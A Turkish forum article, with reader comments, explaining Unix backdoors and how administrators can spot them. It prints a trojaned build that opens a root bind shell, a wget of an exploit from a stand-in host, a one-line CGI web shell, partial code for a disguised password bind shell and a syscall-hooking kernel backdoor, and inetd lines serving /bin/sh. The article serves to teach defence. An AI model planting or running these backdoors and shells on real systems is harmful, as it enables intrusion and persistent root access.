Kötü adamlar ve arka kapılar

0
sundance
Uzun bir süreden beri (Truvalılardan bu yana ;) hileli oyuncaklar hep güncelliğini korumuşlardır. Truva şehrinin düşmesinden, James Bond numaraları ile çeşitli sırları ele geçiren casuslara kadar tarih boyunca, asıl amacını gizleyen aletler hep büyük avantaj olmuştur.

Son yirmi yılda ise, bilgisayarın ve ağların yaygınlaşması ile, bu eski hileli savaş araçlarının yerini sistemdeki zayıflıklar, belli bir işi görüyormuş gibi davranan ama arka planda başka numaralar çeviren programlar almıştır. Tacettin Karadeniz arkadaşımız da, sözkonusu zayıflıkları sağlayan Arkakapıları [Backdoor] anlatan enfes bir makale yazmış, ilgi ile okuyoruz.
Sistemdeki Yansımalar: Arkakapılar [Backdoor]

Arkakapılar sistemin güvenlik çemberinde ne derece düzensizlikler oluştururlar?
Bu düzensizliğin boyutu nedir?
Sistem yöneticisi arkakapının varlığını nasıl anlayabilir?
Yoksa benim yönettiğim sisteme kimse girip delik açamaz mı diyorsunuz

? Bilgi, ulaşmak istediği hedefteki kapıda, küçük aralık bulduğu anda bu aralıktan kendisini hedefe doğru bırakır. "Kapıda neden aralık var?" suallini sormadan içeri süzülür.
Bilgilerinizi, bahçesini davetsiz misafirlere karşı dikenli tellerle koruyan bir kişi gibi güvenlik çemberiyle koruyabilirsiniz. Fakat sisteminize saygıdeğer bir misafir gibi gelip, sonra sizin rızanız olmadan sisteminizi tekrar ziyaret etmek isteyebilir(Kesin bu misafire dalgınlıkla şekerleme sundunuz). Neticesinde ozenle duzenlediğiniz bahçeniz bir anda istemediğiniz bir boyuta gelebilir. En değerli ürünleriniz yani özenle bakıp büyüttüğünüz bilgileriniz bir anda başka bahçelerde bulunabilir. Hemde ürününüzün hangi ellere geçtiğini bilmeden.

Eğer bilgileriniz değerliyse(bilginin değersizi olur mu bilmem?) bunların çevresini kuşatan telleri devamlı kontrol etmek sizi rahatlatır. Kontrolleriniz esnasında bu tellerin en küçük bir yerinde pas gördüğünüz anda gerekli bakımı yapmak bahçenizin yeşilliğini koruyacaktır.

Sistemimize bir sürü dosya yükleriz. Bazen, yüklediğimiz dosyaların yaratacağı sorunları düşünmeden sisteme kurarız. Ya unutkanlıktan yada üşengeçlikten sisteme indirilen yazılımların güvenilirlik kontrollerini yapmayız. Kimbilir belki gönül rahatlığıyla kurduğunuz dosyaların sisteminizde bir arkakapı oluşturma olasılığını gözardı ediyorsunuzdur.

Yazılımın Web sitesinde belirtilen MD5 kontrolu:
file.tar.gz
18a8284860c5c9940c57e03aac4a9911

Bizim yaptığımız file.tar.gz'nin kontrolu:
$ md5sum file.tar.gz
64dc31bf20ace98a7200d39da7d0d1a2
Sonuçlar farklı. Üstünde düşünülmesi gereken bir durum. Dikkat!!!! Üşenip md5 kontrolunu yapmadan, çektiğimiz dosyayı sisteme kurduğumuzu düşünelim.

[baglik@eregli Kod]# tar zxvf file.tar.gz
file
file/getconn.c
file/Makefile
file/config.c
file/main.c
file/common.h
file/file.c


[baglik@eregli file]# make
cc -Wall -g `libnet-config --cflags --defines` -c getconn.c
getconn.c: In function `getconn':
getconn.c:30: warning: implicit declaration of function `exit'
cc config.c -o config
./config &
cc -Wall -g `libnet-config --cflags --defines` -c main.c
cc -Wall -g `libnet-config --cflags --defines` -c file.c
cc -o file getconn.o main.o file.o -L/usr/local/lib -lpcap
`libnet-config --libs`
Dikkatli kullanıcı hemen ./config & satırını görünce bir anda şüpheye düşer. Bu config.c isimli dosya incelendiğinde sistemde arka kapıya neden olan kod olduğu anlaşılır.

[baglik@eregli file]# pico config.c
...
...
#define port 60000
#define shell "/bin/sh"
...
... execl(shell,shell,(char *)0);
...
...
Bu açık portu fark eden kişi:
[yabanci@operim yabanci]$ telnet eregli.sistem 60000

Trying eregli.sistem...
Connected to eregli.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root) <-- arka kapı sınırları yeniden çizer. -- dosya root yetkisiyle kurulduğundan
-- sistem yöneticisine tozlu rüyalar gördürür.
Eğer bu file.tar.gz isimli dosyayı herhangi bir kullanıcı(root yetkisine sahip olmayan) sisteme kurduysa;

[yabanci@operim yabanci]$ telnet eregli.sistem 60000
Trying eregli.sistem...
Connected to eregli.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.

id;
uid=501(k.mi) gid=501(k.mi) groups=501(student) <-- normal kullanıcı modunda.
-- Saldırgan sistemde root
-- olmak için elinden geleni
-- yapmaya calışacaktır.
uname -a;
Linux eregli.sistem 2.4.18-6mdk #1 Fri Mar 15 02:59:08 CET 2002 i686 unknown

cat /etc/redhat-release;
Mandrake Linux release 8.2 (Bluebird) for i586

cd /tmp;
pwd;
/tmp
/usr/bin/wget http://exploit.sitesi/dosya/8.2/op_beni.c;
--00:58:43-- http://exploit.sitesi/dosya/8.2/op_beni.c
=> `op_beni.c'
Connecting to exploit.sitesi:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,767 [text/plain]
0K ...... 100%
00:58:43 .....`op_beni.c' saved [6767/6767]
ls;
dcopGByrhp
dcopYfUXJw
kde-root
ksocket-root
mcop-root
op_beni.c <-- Sisteme indirilip derlenmek istenen dosya.
/bin/gcc -o op_beni op_beni.c;
ls;
dcopGByrhp
dcopYfUXJw
kde-root
ksocket-root
mcop-root
op_beni <-- Derlenmiş hali.
op_beni.c
./op_beni; <-- Exploit çalıştırılıyor.
[*] Wait ....
[*] Wait ......
[*] muck ... muck ... muck ... muck
[*] Bingo :)
id;
uid=0(root) gid=0(root) groups=0(root) <-- Sınırları zorlama zamanı ;)
Sisteminize ait herhangi bir kullanıcının şifresini elde eden saldırgan, sisteme tekrar bağlanmak için(özellikle şifre değişmesi halinde) sistemde arka kapı bırakma olasılığı fazladır. Bu arka kapının türü tamamıyla saldırganın hayal gücüne kalmıştır.

Saldırganın gerçekleştirebileceği arka kapılardan bazıları:
- Belli süre zarfında içinde geçerli olacak arka kapı açma
- Herhangi bir servis açma
- Kernel arka kapıları
- Dosyaların içine gizlenilen arka kapılar
- Rootkitlerin yardımıyla kurulan arka kapılar

Saldırganın amacı(hepsi için geçerli değil) elindeki güzellikleri kaybetse de sistemde olabildiğince uzun yaşamak.

Ayrıca sunucuda gezinen bir davetsiz misafir .php .cgi tipi kodlarla sistemde bir gedik oluşturabilir.

Örnegin;

Aşağıdaki komut.cgi isimli dosyayı sunucunun /cgi-bin dizinine yükleyen misafir, Web göstericiler üzerinden sistemde kodlarda çalıştırabilir.

#komut.cgi
#!/bin/sh
echo Content-type: text/html
echo
echo "
"
$*


[eregli@eregli eregli]$ lynx http://arkakapili.sistem/cgi-bin/komut.cgi?ls%20/etc

Bastille
DIR_COLORS
X11
adjtime
aliases
aliases.db
alternatives
anacrontab
apcupsd
at.deny
bashrc
conf.linuxconf
..
..
-- press space for next page --
Arrow keys: Up and Down to move.  Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

Davetsiz misafir, sistem yöneticisi durumuna geldiğinde tekrar sisteme bağlanmak 
istediğinde yapacağı eğilimlerden biri olarak sistemde açık kapı bırakmak olduğunu
belirtmiştim. Bıraktığı açık kapıdan sisteme sadece kendisi bağlanabilmesi için kapıya 
kilit yani şifre koyar. Şifre girildiğinde kapı ardına kadar açılır ve parmaklarıyla 
sistemde gezinmeye başlar. Saldırgan, sistem yöneticisinin, sistemde calışan uygulamaları 
görmek istemesi durumunda sahte isimlerle karşılaşması için açık kapı bırakan 
uygulamalarda kod değişikliği yapabilir.

#include 
#include 
....
#define	SHELL	"/bin/sh"		
#define	SARG	"-i"			
#define	PASSWD	"ACIL_KAPI"		
#define	PORT	6767		
#define	FAKEPS	"httpd"	
#define	SHELLPS	"klogd"		
...
int main (int argc, char *argv[])
{
...
	static char *pass = PASSWD;
...
	strcpy(argv[0], FAKEPS);
	signal(SIGCHLD, SIG_IGN);
	if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) == -1) exit (-1);
...
	execv(SHELL, sargv);
...
	exit(0);
}

[eregli@eregli eregli]$ ssh -l avicenna arkakapili.sistem
avicenna@arkakapili's password:
Last login: Mon Apr 14 01:52:00 2003 from xxx.yyy.zzz.ttt
[avicenna@arkakapili avicenna]$ cd /tmp
[avicenna@arkakapili tmp]$ mkdir .mail
[avicenna@arkakapili tmp]$ cd .mail
[avicenna@arkakapili .mail]$ cat > net.c
#include 
#include 
....
#define	SHELL	"/bin/sh"		
#define	SARG	"-i"			
#define	PASSWD	"ACIL_KAPI"		
#define	PORT	6767		
#define	FAKEPS	"httpd"	
#define	SHELLPS	"klogd"		
...
int main (int argc, char *argv[])
{
...
	static char *pass = PASSWD;
...

[avicenna@arkakapili .mail]$ gcc -o net net.c

Bu esnada saldırgan sisteme root olarak girmek için açık kapıyı root durumda bırakmak 
isteyecektir. Bu nedenle normal kullanıcıdan root moduna geçmek için exploitleri deneyecektir.
Yani anlayacağınız sistem, sıfırdan vurulmak için bir deneme tahtası olacaktır(uid=0).
Hedefi sıfırdan vurduğunda açık kapı bırakma işlemi başlamıştır.
[root@arkakapili .mail]# ./net &

Sistemde açık kapı bırakılmadan önce yapılan port taramasının sonucu:
[root@eregli eregli]# nmap -p 1-10000 arkakapili.sistem

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on arkakapili.sistem (xxx.xxx.xxx.xxx):
Port       State       Service
21/tcp     open        ftp
22/tcp     open        ssh
25/tcp     open        smtp
53/tcp     open        domain
80/tcp     open        http
110/tcp    open        pop-3
443/tcp    open        https
3306/tcp   open        mysql

Portlar incelendiğinde herşey normal gözüküyor.
Fakat açık kapı bırakıldığında portların durumunu görelim:

[root@eregli eregli]# nmap -p 1-10000 arkakapili.sistem

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on arkakapili.sistem (xxx.xxx.xxx.xxx):
Port       State       Service
21/tcp     open        ftp
22/tcp     open        ssh
25/tcp     open        smtp
53/tcp     open        domain
80/tcp     open        http
110/tcp    open        pop-3
443/tcp    open        https
3306/tcp   open        mysql
6767/tcp   open        unknown     <--- ilginc bir port ;)
                                    

[eregli@eregli eregli]$ telnet arkakapili.sistem 6767
Trying xxx.xxx.xxx.xxx...
Connected to arkakapili.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.
eregli                                       <--- Yanlış şifre girildiğinden
Connection closed by foreign host.            --- uygulama baglantıyı kopardı.

[eregli@eregli eregli]$ telnet arkakapili.sistem 6767
Trying xxx.xxx.xxx.xxx...
Connected to arkakapili.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.
ACIL_KAPI

klogd: no job control in this shell
[root@arkakapili /]# id                       
uid=0(root) gid=0(root) groups=0(root)    <-- Sistem yöneticisi şimdi ağlasın mı,
                                           -- gülsün mü?

Sistem yöneticisi çalışan uygulamalara baktığında, çalışan uygulamaların olağan 
uygulamalar olduğu kanısına varabilir:

[root@arkakapili root]# ps -aux
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
root         1  0.2  0.3  1412  504 ?        S    01:37   0:04 init
root         2  0.0  0.0     0    0 ?        SW   01:37   0:00 [keventd]
root         3  0.0  0.0     0    0 ?        SW   01:37   0:00 [kapmd]
root         4  0.0  0.0     0    0 ?        SWN  01:37   0:00 [ksoftirqd_CPU0]
root         5  0.0  0.0     0    0 ?        SW   01:37   0:00 [kswapd]
named     1018  0.0  1.8 10192 2324 ?        S    01:38   0:00 named -u named
named     1025  0.0  1.8 10192 2324 ?        S    01:38   0:00 named -u named
named     1026  0.0  1.8 10192 2324 ?        S    01:38   0:00 named -u named
named     1027  0.0  1.8 10192 2324 ?        S    01:38   0:00 named -u named
named     1028  0.0  1.8 10192 2324 ?        S    01:38   0:00 named -u named
root      1049  0.0  0.9  2664 1224 ?        S    01:38   0:00 /usr/sbin/sshd
...
...
avicenna  2777  0.0  1.2  2724 1532 pts/6    S    01:52   0:00 -bash
root      2808  0.0  1.2  2784 1588 ?        S    01:52   0:00 klogd -i     <--- Dikkat !!!!
root      2832  0.0  0.0  1368  104 ?        S    01:52   0:00 httpd ole    <--- Dikkat !!!!
root      2932  0.0  0.7  2904  960 pts/1    R    02:08   0:00 ps -aux

SockStat aracı ile sistemde uygulamaların kullandığı portları ve durumlarını inceleyebilirsiniz.

[root@arkakapili root]#./sockstat
SocketStat v1.0 - A Socket Information Program

Pro User     Process        Local Address         State
UDP root     portmap[776]   x.x.x.x:111           CLOSED
TCP root     portmap[776]   x.x.x.x:111           LISTEN
UDP root     rpc.sta[842]   x.x.x.x:1018          CLOSED
UDP root     rpc.sta[842]   x.x.x.x:1024          CLOSED
TCP root     rpc.sta[842]   x.x.x.x:1024          LISTEN
UDP named    named[1018]    x.x.x.x:1025          CLOSED
UDP named    named[1018]    x.x.x.x:53            CLOSED
TCP named    named[1018]    x.x.x.x:53            LISTEN
...
TCP root     httpd[1561]    x.x.x.x:80            LISTEN
TCP root     mysqld[1667]   x.x.x.x:3306          LISTEN
TCP root     mysqld[1773]   x.x.x.x:3306          LISTEN
TCP root     mysqld[1775]   x.x.x.x:3306          LISTEN
TCP root     mysqld[1780]   x.x.x.x:3306          LISTEN
TCP root     kapici[2284]   x.x.x.x:6767          LISTEN
             ------                 ----  
               |                     |
	       |                     |
	       |                     |
	       ---Calisan uygulama   ----Kullandigi Port
	       
	       

[root@arkapili root]#./sockstat
SocketStat v1.0 - A Socket Information Program
Pro User     Process        Local Address       State
...
TCP root     sh[2284]       x.x.x.x:6767        ESTBLSH
TCP root     sh[2284]       x.x.x.x:6767        ESTBLSH
TCP root     sh[2284]       x.x.x.x:6767        ESTBLSH
TCP root     sh[2284]       x.x.x.x:6767        LISTEN
TCP root |-- sh[2284]       x.x.x.x:6767        ESTBLSH
TCP root |-- sh[2284]       x.x.x.x:6767        ESTBLSH
TCP root |-- kapici[2310]   x.x.x.x:6767        LISTEN                                                                      -------
         ----------                     								         |   
               |  
               |- /bin/sh(kabuk) calismis durumda. 6767 numarali portta biri var.



Saldırgan, sisteme bağlanmak için kullandığı kullanıcının, şifresini değiştirmeyeceğini
düşünerek sisteme müfredata uygun şekilde bağlanıp Kernel istismarlarını kullanarak yönetici
olmak isteyebilir. Sistem yöneticisinin dikkat edeceği hususlardan biride çekirdek modüllerini
şüpheli bir durumda(hep şüpheli durumda mi kontrol etmeli?) kontrol etmesi olacaktır. 
Yani halk arasında Kernel Backdoor denilen olaylara dikkat etmek gerekir.
"Benim kullanıcılarım uslu durur. Sistemi kurcalayamazlar. Zaten sistemden derleyicileri 
(gcc,cc) kaldırdım. Yetki kısıtlaması da koydum." şeklinde bir düşünceye sahip sistem
yöneticisi varsa buna diyecek sözüm yok :)
Gözü dönmüs biri için yetki kısıtlaması olmuş, sistemde derleyici yokmuş gibi durumları 
düşünmez. Davetsiz misafir dönen gözünü yuvasına oturtturmak için her türlü yola başvuracaktır.
Örneğin; sisteminizin yapısını inceleyerek(işletim sistemi, çekirdek versiyonu vb.) o işletim 
sistemine sahip başka bir bilgisayarda root yetkisini verecek exploiti derleyip sizin
sisteminize aktararak çeşitli olasılıkları deniyecektir.

Konuyu dağıtmadan bir olayı irdeleyelim[Milleti illaki paranoya moduna getirecez ya :)]
Yurt dışında azımsanamayacak derecede muşteriye sahip bir servis sağlayıcısı güzel bir
hayat sürmekteymiş. O servis sağlayıcının Web sitesini gezen sakin, gözü yuvasından fırlamamış
kişi sistemin üyeler(members) bölümüne farenin klik sesini duyacak şekilde tıkladığında 
karşısına orada barınan Web sitelerinin kullanıcı adlarını görür.
Aklına "Acaba üye adları ile kullandığı şifreler arasında ne gibi bir ilişki var" felsefesinden 
yola çıkma düşüncesi gelir. Yaptığı denemeler sonucu bazı üyelerin şifrelerini bulur(Artik 
sakin kişi gitmiş, gözü yuvasından fırlayan biri gelmiştir).
Sistemde ftp-ssh servisleri açıktır. Ssh ile sisteme bağlandığında istediği emellerine
ulaşmasını sağlayacak olan .c kodunu derleyemez. Çünkü sistemde derleyiciler kaldırılmıştır.
Ortalıkta fazla dolaşmadan aynı özelliklere sahip(işletim sistemi vb..) başka sistemde .c 
kodunu derler. Derlediği kodu, gözünü döndüren servis saglayıcının sistemine aktarır. 
Sonucunda root yetkisini almıştır. Sisteme yerleştirdiği Sniffer sayesinde(tüm kodlari 
aynı özelliklere sahip başka sistemde derleyip,aktarmış) gerçek sistem yöneticisinin 
bağlandığı ip adresleri, şifreleri (rootun kullandığı şifreler routerlere baglantı şifreleri 
ile ayni imiş) ele geçirir. Neticesinde sistem yoneticisi bu bizim gözü dönen kişiyi 
fark etmiş(Aylar sonra). 
Sonuçta servis sağlayıcısı işletim sistemini değiştirmiş. Fakat kullanıcı şifreleri 
aynı kalmış :)
Bunu bana gozu donen biri fisildadi :)

 Saldırgan, sisteme sonradan bağlanıp yetkileri eline almak için port açmak istemeye de 
bilir. ;)
Bunun çeşitli sebeplerinden biri açık olan portların kolayca tespit edilebilmesi.
Sistemin kullandığı portlardan(ssh-telnet) sisteme bağlanıp(mukavele gereği) normal 
kullanıcıdan bir anda root durumuna geçip sistemi sizin yerinize daha iyi koruma 
ihtimalide vardır :)
Bunu yapabilmek için kullanacagı diğer bir açık kapıda Kernel Backdoor diye tasvir edilen 
uygulamaları kullanmasıdır.

[root@arkakapi /root]# lsmod
Module                  Size  Used by    Tainted: P
kbdv                    940    0  (unused)       <-- Bu modül hoşa gitmiyen tipe benziyor.
nfsd                   69536   8  (autoclean)
lockd                  49344   1  (autoclean) [nfsd]
sunrpc                 62964   1  (autoclean) [nfsd lockd]
...
ext3                   62092   1
...

Beklenmeyen misafir sistemde yönetici durumuna geçmiş, sistemi yeteri kadar incelemiş.
Böyle bir sistemi bir daha nerede bulurum düşüncesiyle sistemde yetkileri tekrar eline
almak icin gerçek yöneticinin düşünemeyeceği yollara başvurma ihtimalide vardır(`Sistemde
açık portlar kapatılabilir, suid tipi dosyalarin bu özellikleri kaldırılabilir` düşüncesine
sahip bir saldırgan türüyle karşı karşıya kalınabilir).

Örneğin:

#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
...

#define FILE_NAME "op_beni"    <--- Sihirli kelimeler

extern void *sys_call_table[];

/* system calls we will replace */
int (*orig_utime)(const char *filename, struct utimbuf *buf);
int (*orig_getuid32)();
int u;
....
        sys_call_table[SYS_utime] = orig_utime;
        sys_call_table[SYS_getuid32] = orig_getuid32;
}

Yukarıda kaynağa benzer bir .c kodunu sisteme aktaran kişi root yetkisiyle dosyayı
derlediğini düsünelim.

[root@arkakapili tmp]# gcc -c -O2 kbdv3.c  -I/lib/modules/`uname -r`/build/include
[root@arkakapili tmp]# ls -1
kbdv.c
kbdv.o    <-- Sisteme tekrar baglanıldığında root ateşi sardıracak.

[root@arkakapili tmp]# insmod kbdv3.o
Warning: loading kbdv3.o will taint the kernel: no license

[root@saldirgan tmp]# lsmod
Module                  Size  Used by    Tainted: P
kbdv                    908   0  (unused)    <-- Bekliyor ustadini :)

...

Saldirgan artik sistemi gönul rahatlığıyla terk ediyor. Canı sıkıldıgında,
bu root neden bunlari anlamadi dusuncesine kapıldığında yada kız arkadaşına
kızdığında dagıtmak isteyecegi tek yer Kernel Backdoor olayına girdiği sistem olacaktir.
Sisteme bağlandığında normal user olarak girer fakat sihirli kelimeleri söylediğinde
artık root olmuştur. Geri dönülmez yola girmiştir.

[eregli@eregli eregli]# ssh -l avicenna arkakapili.sistem
avicenna@arkakapili's password:
Last login: Mon Apr 14 02:28:31 2003 from eregli.sistem
[avicenna@arkakapili avicenna]$                <-- Normal kullanici durumumda
[avicenna@arkakapili avicenna]$ touch op_beni  <-- Sihirli kelimeler fisildandi
[avicenna@arkakapili avicenna]$ exit           <-- Sistemden ayrildi.
                                                -- Kernel Backdoor sisteme tekrar baglanmasini
						-- beklemektedir. Cünkü üstadına yöneticilik
						-- sertifikasi verecektir :)
						    
[eregli@eregli eregli]$ ssh -l avicenna arkakapili.sistem
avicenna@arkakapili's password:
Last login: Mon Apr 14 05:30:34 2003 from eregli.sistem
[avicenna@arkakapili avicenna]#                    <-- Sonuç :)

Sistemdeki servislerin her zaman uslu uslu duracak halleri olmayabilir. 
Sizden habersiz birileri sisteme servisler ekleme ihtimallerine karşın /etc/inetd.conf 
dosyasını ve /etc/xinetd.d dizini altında bulunan dosyaları kontrol etmek menfaat icabıdır.

[root@arkakapili /]cat /etc/inetd.conf
...
echo 4444 stream tcp nowait root /bin/sh sh -i      <-- Dikkat !!!! 
...

[root@sistem /xserver]cat /etc/xinetd.d/kendim      <-- 
...
protocol = tcp                                         |
port = 4444                                            |
socket_type = stream                                   |
wait = no                                              |
user = root                                            |
server = /bin/sh                                       |--- Dikkat !!!!
server_args = -i                                       |
...

Arka kapı durumlarına kısaca değinmeye çalıştım. Umarım bazı konuların aydınlanmasında
azda olsa ışık vermişimdir.
                                                            tacettinkaradeniz@yahoo.com
                                                            tacettin@olympos.org
KAYNAKÇA
http://www.secinf.net/unix_security/Backdoors.html
http://packetstormsecurity.org
http://neworder.box.sk
http://www.reznor.com

Görüşler

0
FZ
Fazlamesai.net´e yakışan bu güzel teknik makaleyi bizimle paylaştığı için değerli Olympos üyesi Tacettin Karadeniz´e çok teşekkür ederim.
0
crematorium
Fikir verme ve bilgilendirme açısından çok yararlı olacağını düşündüğüm bir makale olmuş. Ben de teşekkür ederim. ;)
0
WoLoLo
Sakın bu yazıyı okuyupta kötü yola sapmasın FM'ciler ? :)
0
crematorium
yazık olur :)
0
redogre
o kernel ve unix bilgisiyle bile anlayabildiim bir makale olduğu için ellerinizden öperim. Uzaydan gelen makaleler yazanlara duyrulur :)) (şaka şaka)
0
oktay
Çok sağlam bir tarzı var yazan arkadaşımızın ben de takdir ettim.
0
skoylu
Ellerine saglik, guzel bir yazi olmus.

Velakin bu konular bu kadar basit mi ?

FTP+Web Server LDAP uzerinden auth yapiyor veya tersi olamaz mi ?

Hemen bir cirpida, 50 satir kod derleyip root oluvermek o kadar kolay mi ? Su an malum ptrace acigini duymayip hala shell'e erisebilen kullanicilara sahip oldugu halde, yamasiz kernel calistiran varmidir ki ? Vardir elbet, ama kac kisidir ?

Kernel'e modul cakacak adam, bu module kendini sakla demekten acz icine duserde, rootkit'lere allerjisi varmis gibi davranir mi ?

Garip ama nedense bu isler hep boyle kolayca oluveriyormus gibi gosteriliyor. Bu kadar sey ortalikta donerken adminler uyuyor, firewall, IDS vs. hak getire... Boyle elini kolunu sallayan hemen daliyor ortama.. Sanki oyle bir hava estiriliyor.

Dahasi, mesela bir guvenlikci ile oturdunuz mu, sohbet ettiniz mi, sanki her taraf han gecen haniymis gibi gosteriyorlar. Ama ortalik lamer ve script kiddie kaynarken, bir suru server hic bir ek onlem olmadan, Windows veya Linux ayirt etmeksizin, hala calisiyor, cracker'lara kurban gitmiyor..

Bu guvenlikcilerin (makalenin yazarini kastetmiyorum) boyle yapmalari neden ki acaba ? Bu isler boyle kolaylasti da bizim yasli bir dinozor olarak kafamiz basmiyor mu ?


0
ts
Makale icin yazarin ellerine saglik fakat Serdar Koylu ustad'in dedigi gibi sanirim burada olay biraz hafife alinmis.

Farzedelimki buradaki senaryodaki gibi hostile bir kod indirildi derlenirken nc ile bir port bind edildi ve bu port her yerden ulasilabilir bir sekilde calisiyor.

Dusunulmesi gereken onemli noktalardan ilki sistemin firewall kurallarinin nasil belirlendigidir. Artik kim belli portlara filtreleme uygulayarak, onun disindaki tum portlara izin veren bir rule politikasi izliyor? Her zaman oldugu gibi saglikli firewall kural politikasinda tum trafik bloke edilir daha sonra arzu edilen servislere ait portlara izin verilir. Eger iptables kullaniliyorsa stateful inspection icin ozel -state parametresi kullanilarak bsd turevlerinde ise "Sequence number prediction" gibi nanelerden korunmak icin "modulate" gibi keyword'ler kullanilir. Boyle bir durumda yazida belirtilen bind edilmis porta disaridan ulasilabilmesi mumkun gozukmuyor.

Ozellikle IDS, Anomality Detection sistemleri kullanan. Makalede anlatilan yontem etkin bir raporlama ve siradan bir takip'e sahip sistemlerde cok cok kolay farkedilebilecek stealth olmayan bir yonteme benziyor. Ozellikle process list'te process gizleme ya da socket gizlemek icin ozellikle sistemdeki binary'lerin degistirilmesi gibi bir yonteme gidilirse ve biraz daha incelenirse sanirim daha yaratici ve stealth bir yontemler zinciri gelistirilerek dokumante edilebilir.
0
skoylu
Stealth olsa gene ne degisir ki ? Bir ton hazir kita rootkit mevcut. Girdikten ve root olduktan sonra kurarsiniz guzelce. Ama nasil gireceksiniz ? Bugun ftp'yi birakin Apache'yi bile chroot calistiriyoruz. Ki bunlar ufak tefek numaralar. Oyle takla atilmasi gibi seyler degil. Kaldi ki shell hesabina takilalim. Eski windows kullanicilari ozenip Linux kuruyor olabilir. Belki onlar o tur olmasi gereken tedbirlerden bihaber olabilirler. Ama bir Linux veya BSD admini bu tur isleri asla sansa birakmaz.

Hadi ben size benim makine uzerinde bir shell acayim. Hemde bakin bunda 2.4.18 kernel var, yamasiz filan. Hatta ve hatta SMB 2.2.7a. Bunda da kocaman bir buffer overflow mevcut. Ele gecirin de goreyim. Bana bunu dedirteceksiniz en sonunda.

gcc icin bir wrapper atmayi, http/ftp uzerinden inenleri bir proxy ile bloke etmeyi veya rapor etmeyi, suid root calistirilamaz mountlari, chroot mevzusunu, UML gibi duzenekleri vs. nedense gormezden geliyorlar. Bana da bu garip geliyor. Nedense bu isin en zor kismi olan sisteme girebilmek ve sonrasinda root olabilmek kismi hep o kadar kolay gosteriliyor ki...

Binaryleri degistirmek ? Koyarsiniz /usr vs. yi read-only bir fs'ye, durmasin debelensin script kiddie'miz..
nc ile port acmak ? O porta ulasmayi becerde ondan sonra..
gcc ile derleyip ayakustu calistirivermek ? gcc adinda bir script koy, atsin sana SMS.. Adami sucustu yakala...
Hazir binary indirmek ? Proxy uzerinde on-the-fly crypt edersin, admin onay vermeden calismaz.
Daha mi istersiniz ? Ben guvenlikci degilim. ama guvenlikcilerden bu tur teknikleri ogretmelerini beklerim. Gidip bana scriptleri kesin suid olarak kullanmayin diyenler var. Komiklik... Linux ile scriptler asla suid olamaz ki zaten ! Onlar ise iste boyle her bir seyi kolay gostermeyi seven yazilar yazar, seminerler vs. verir. Bakin bir penetration testi sonucu : "ICMP timestamp degerinden isletim sisteminin ne oldugu ogrenilebilir" Vay canina.. Ne buyuk sorun ya.. Ogrenildimi, gitti hamamin namusu... Bittiniz. Mahvoldunuz..

Bence faydali olmak icin boyle 'Bakin sizi ele gecirmek ne kolay' gibi asilsiz soylevler yerine bunlardan nasil korunursunuz bunlari anlatmak lazim millete..



0
oktay
Merhaba,

Dediklerinin geçerliliği konusunda bir laf edecek değilim. Benim seviyemin yüzlerce kat üzerinde olduğunun farkındayım. Fakat bence yukarıdaki arkadaşın yazdığı makaledeki senaryolar (bu lafı bilerek kullanıyorum) da geçerlidir.

Doğrudur, bahsettiğin şekilde arkadaşın makalede değindiği açıkların hepsini kapatmak mümkündür. Fakat gerçek hayatta -ki buna karşı geleceğini sanmıyorum- bahsettiği türden kolayca ele geçirilebilen sistemler her zaman mevcut olacaktır. Ben bu sistemlerin Windows'dan yeni geçmiş kullanıcıların kurduğu sistemler olduğuna da katılmıyorum. Örneğin hosting işiyle uğraşan şirketlerde güvenlik ağırlıklı olarak müşterinin sorumluluğunda olduğundan güvenlik açıklarıyla dolu binlerce makine olabiliyor aynı ağda. Bunun yanında tabi firewall'a para ödeyip de bütün firewall ayarlarıni ANY/ANY bırakan ve güvende olduğunu sanan insanlar da mevcut. Yani kısaca demek istediğim, öyle olmaması gerektiği halde yukardaki makalede söylenen bir çok şeyin gündelik hayatta uygulaması mevcut. Haa. her istediğin makineye öyle giremezsin o ayrı. Fakat script kiddiler zaten önce hedef tayin edip sonra saldırmak yerine önce saldırı yöntemini belirleyip sonra bu yöntemin çalışacağı açıklar olan sistemler ararlar.

Kısaca bence makaleyi yazmış olan arkadaşın yaptığı belki aşırı olan basitleştirmeye ( bir makalede herşeyden birden bahsetmek mümkün değildir, ki arkadaş herşeyi bildiğini de iddia etmiyor gördüğüm kadarıyla) yine aşırı olan bir genelleme ile yanıtlamışsın gibime geliyor.

Bu arada başta da söylediğim gibi bilgi ve tecrübelerine sonsuz saygım var. Güvenlik konusunda /usr 'nin read-only olması gibi veya proxy üzerinden şifreleme yapılması gibi çözümleri daha geniş bir şekilde anlatsan hepimizin faydalanacağına inanıyorum.

Teşekkürler.

Oktay
0
skoylu
Hocam bu makale bazinda konusmuyorum. Benim garibime gidip damarima basan, sanki bu seylerin o kadar kolaymis gibi gosterilivermesi. Bu makale gene iyi. Sagda solda cesitli test raporlari goruyoruz. O kadar olmadik seyleri one cikariyorlar ki, pes demek geliyor icimden. Bu sayfalarda 'Burasi siberalem, boyunu bilmeyen olcusunu alir' diyende benim. Yani bu kadar kolay kaptiriyorsaniz root accountunu ne isiniz var bu alemde. Kodu indir, derle olsun bitsin. Bu kadar basit mi ? Kullanici sifrelerini al veya kullanici listesini al.. Bittin.. Mahvoldun..

Iki tane server. Biri Win2K, digeri RH6.2. Bu iki serverde bir ton exploit oyle duruyor. Gelin hackleyin dedik, inet-tr'de, en fazla yaptiklari IIS Directory Traversal acigini bulmak oldu. Katilim azdi, suydu buydu, itirazim yok. Ama kendini yarismaya katilacak kadar bilgili gorenlerin halini gorduk. Kimseyi kinamiyorum. Ama bu isler o kadar kolaytca oluveren seyler degil. 22 Karakterlik sifrede kirilmaz degil. Simdi size bir makalede ben cikarayim:

